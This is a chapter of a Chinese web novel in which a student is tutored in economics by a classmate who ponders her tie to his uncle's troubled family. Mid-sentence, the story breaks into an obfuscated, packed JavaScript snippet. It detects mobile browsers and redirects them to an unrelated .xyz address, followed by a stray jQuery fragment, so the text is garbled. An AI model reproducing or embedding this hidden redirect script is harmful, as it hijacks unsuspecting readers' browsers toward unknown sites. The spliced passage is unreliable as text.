祁聿收到了江白发来的照片,照片里的小姑娘生长得亭亭玉立,但还留着几分稚气。她的头发很多也很长,像海藻一样垂在胸前,脸上画了浅浅的淡妆,腮红衬得她气色正好而,眼尾上面的那颗红痣像是被人刻意描重,让她看起了多了一分娇气。
背后的小黑屋上写着“塔罗占卜屋”,可能是他们班级的主题。
第二张照片多了一位男生,那个男孩祁聿也不陌生,就是住在邻里的贺舠,他母亲去世前两家常有往来。
祁聿本意只是想让江白拍拍校园,没有想过她会发来一张自拍大合照,但这样也不错。他记得弟弟小时候爱玩的旅行青蛙,总是会在漫长的时间里偶尔向APP发送一张自拍照。
过去祁聿不太能理解这样的乐趣,但是现在他也有点期待“小青蛙”再投来更多的旅行照片。
他对江白的情感略微复杂,他们不算多么熟悉,但却拥有了一层无法断联的关系,他们迟早要成为彼此信任的人,所以祁聿也试图在生活的空余里去多了解这位女孩。但他们都不是乐于交往的人,他不喜欢被介入生活领地,江白也不是热情、去讨好别人的孩子,好像只有用照片这种形式,能让他不太突兀地融入对方的生活,也算是他们向彼此走近的共识。
于是他向江白发了一条消息。
Fish:如果有有趣的校园活动,可以给我发照片。
大白:好呀╰(*°▽°*)╯
怎么看着像是一个呆滞无措又不得不答应的表情,祁聿看着她那条消息。
圣诞一过很快就是元旦,祁聿的意思是他除夕也回不来吗?江白捏着手机的硅胶猫猫外壳,对这个消息竟然有点小小的失望。
不过也对,这种重要的日子可能要跟家里人见面,她从没听祁聿提起他的家人住在哪里,也许是不在南城。
江白很快就淡忘了这件事,期末考试逼近,学校从没做过测验,她也不知道自己成绩如何,但她能感觉到自己的各个学科学习进度的差异较大,尤其是从没学过的经济,基本只能算作刚入行。
但自己再怎么看书,那个知识仅限于表面停留在了她的脑海里。
果不其然,各科老师开始做随堂测试,让大家进行查漏补缺,因为IB大考的最终成绩与大家能否进入高校直接挂钩。江白的经济学试卷发下来,十分惨不忍睹的等级。
她的心悬了起来,思考了一会儿决定继续向班长讨要制胜法宝。
“班长,你的经济学笔记可以借我看看吗?我对这门课实在理解不了。”
“光看笔记你能看懂吗?”
他早在办公室看到了江白的成绩单,这门课其实在全部课程里难度偏低,计算比数学物理简单,概念居多,只是江白从中国高考转学过来,没有基础,所以很难理解基本的理论知识。
江白叹了口气:“我也记了笔记,但好像……第二遍就看不懂了。”
她不仅是记了笔记,还拿ipad录像加自动翻译,连中文版的都学不会。
贺舠单手撑着下颌,突然问道:“你知不知道我其实住在你隔壁?”
“什么,”江白眨眼,“你说家庭地址?我怎么从来没看到过你。”
“隔着那片人造园林,反正也不远。放学后我来给你补课吧,怎么样?”贺舠笑道。
江白小鸡啄米点头。
总算是找到一处大腿,她把剩余的精力都用在弥补数学和物理上。
下午放学回家后,江白才想起来贺舠该怎么进来这回事,她扒着椅子后背去问黄叔:“叔叔,庄园旁边是不是还有别的房子啊?”
黄叔点头:“对啊,不过庄园绿化都比较宽,平时不怎么看得到。”
“走路会很远吗?”
“不开车的话确实不怎么方便,但是也不算特别远吧。”他回忆了一下。
江白吃晚饭时都在怀着忐忑的心情想贺舠会不会不来了。
她吃饭的时候要听英语磨耳朵,温姨就不跟她一起用餐。贺舠没说什么时候来,江白吃了几口贴在沙发后面的大厅玻璃上看外面有没有人,也没有看到半个影子。
江白只好安慰自己,这次是没约定好,明天再跟贺舠说清楚就好了。
“江白。”
她耳朵一动,惊喜地转过头去,贺舠正站在门口。
“你怎么过来的?”
“翻墙过来的。”贺舠笑着说。
江白狐疑地看着他,有些不相信。
温姨听到陌生的声音立马警惕地钻到了大厅,一看是贺舠面上神色放松下来。
“贺小少爷,好久没见你过来玩了,祁先生最近不在家哦。”
“我不是来找小舅舅的。江白是我的同学,我来给她补课。”
温姨的神色一下就变得喜悦又忍耐,目光在两人之间打转,仿佛捕捉到了什么隐秘的信号,她悄悄窃喜:“那你们好好学习,我就不打扰了,等会儿我给你们洗点水果拿上来。”
江白带着他上楼,她的笔记本和书本都在房间里,不过书桌也足够宽大,应该能放下贺舠的电脑。
这是贺舠第一次来江白的房间,他浅浅的有些不自在,尤其是看到她床褥上的各种娃娃、地毯上的毛绒拖鞋,这都是她的私人空间。
但江白想的就很简单了,她只想她的期末经济学不要拿个C等级。
贺舠立刻收起自己的胡乱遐想,打开电脑,里面放着两本教材的对比。
“经济学其实没有那么复杂,考试的计算都是最简单的,你的数学很好,理解后应该不会在这上面丢分;最难的是概念问题,如何去理解量化宽松、财政刺激,其实这与中国教材政治经济生活部分所讲的内容有很大的重复性。”
“我们现在学习的内容就是理解各个国家的经济政策,经济跟政府是绝对脱不开关系的。但难点在于社会主义国家跟资本主义国家的区别,美国欧洲都是完全贯彻市场经济的,而中国执行的是社会主义市场经济体制,所以我们要抛开宏观调控,去关注市场调节下的新经济规律。”
贺舠讲起来通俗易懂,他知道江白过去学习的中国教材,且学科基础并不差,于是去翻阅了中国教材中跟经济学挂钩的学科,希望能做一个对比让她理解内容。
“你这么讲的话我大概能理解重点在哪里。”江白看着电脑上的PPT。
“那就好,接下来就是重点概
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270542|182280||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
念的理解和区分,我会引用一些现有的政策案例跟你讲货币和财政,如果你记不住单个概念的定义,就想一想我讲的案例,大概去理解它……”
江白听得认真,渐渐地对经济学框架有了一个概念,不过时间过得太快,转眼外面的天就黑完了。
她的房门大开着,温姨敲了敲门口,关心道:“学这么久了,来补充点能量。”
“您还没休息呢,辛苦了。”江白接过她端来的果盘。
“你们明天还要读书,不要学到太晚,我想着这时候你们也该饿了,上来看一眼。”
江白看了眼电脑上的时间,快到九点了。
“我送你出去吧班长,确实不早了,今天的内容我自己消化一下。”
温姨却说她去送,让江白早点洗澡休息了,江白也没有逞强。
贺舠跟着她下楼,途中想起一些往事,他妈妈虽然和祁聿算是远房亲戚,但两个人并不熟稔,她与祁聿的母亲感情更好。
那是一位温柔又活泼的长辈,好像不谙世事,对谁都充满了热情。但她也是闻名世界的建筑设计师,天赋令人嫉妒,这是他母亲亲口说的。
她既喜欢祁夫人,又无法不嫉妒她的幸福、她的才华、她的自由,唯一一件让贺母心理平衡的事就是祁夫人嫁了一个已经有孩子的二婚丈夫。
这座庄园是祁夫人亲手设计的,耗资巨大,明明她和祁聿都不常住在这里,贺妈妈不明白她为什么大费周章,她开玩笑说:“祁爸爸对小鱼儿总是太严格了,我想让他有个暂时躲起来的游乐园。”
可是他们这种家族在教育上一向就是严格的,不然为何能代代传承,贺妈妈回道。
祁夫人思考了一下:“小鱼儿头上有一个哥哥,那个孩子也很聪明,我其实没想过让他争什么,毕竟钱财对他来说已经能富足一辈子,但是他爸爸和爷爷……”
祁夫人少见地叹了一口气:“他们的教育理念跟我不太一样。”
这确实是实话,祁聿的外公是一位法国人,非常溺爱女儿和外孙,他在法国资产无数,只有祁夫人一位女儿,对祁聿来说少一份祁家的财产又怎样呢?
不过祁聿还是长成了同龄人中的天之骄子,三岁对诗经楚辞过目不忘,除了祁夫人没人愿意放弃压榨他身上的天赋,他也如祁家长辈期待的那样成了优秀的投资人、祁家年轻一代的佼佼者。
但在去年意想不到的事发生了,祁聿开车出了车祸,他自己双腿残疾,母亲抢救无效离世,祁家人几乎把所有责任怪到了祁聿身上,他似乎也没有放过自己。
贺舠母亲听到消息身躯都震了一下,然后抱紧他说:“不要再跟你小舅舅接触了。”
贺舠也是在家族培养下长大的孩子,自然明白母亲另有所指,他保持了沉默。
想来想去,他还是觉得江白的出现有些蹊跷,临走前开口向温姨打听:“阿姨,江白跟小舅舅是什么关系?我怎么不记得之前有这么一个女孩。”
“哦,其实我也不太清楚,小白是祁先生今年接过来的,你要是好奇去问问你小舅舅。”
“好的,那我先回去了。”贺舠早知道这位温姨说话不漏风,所以也没什么情绪。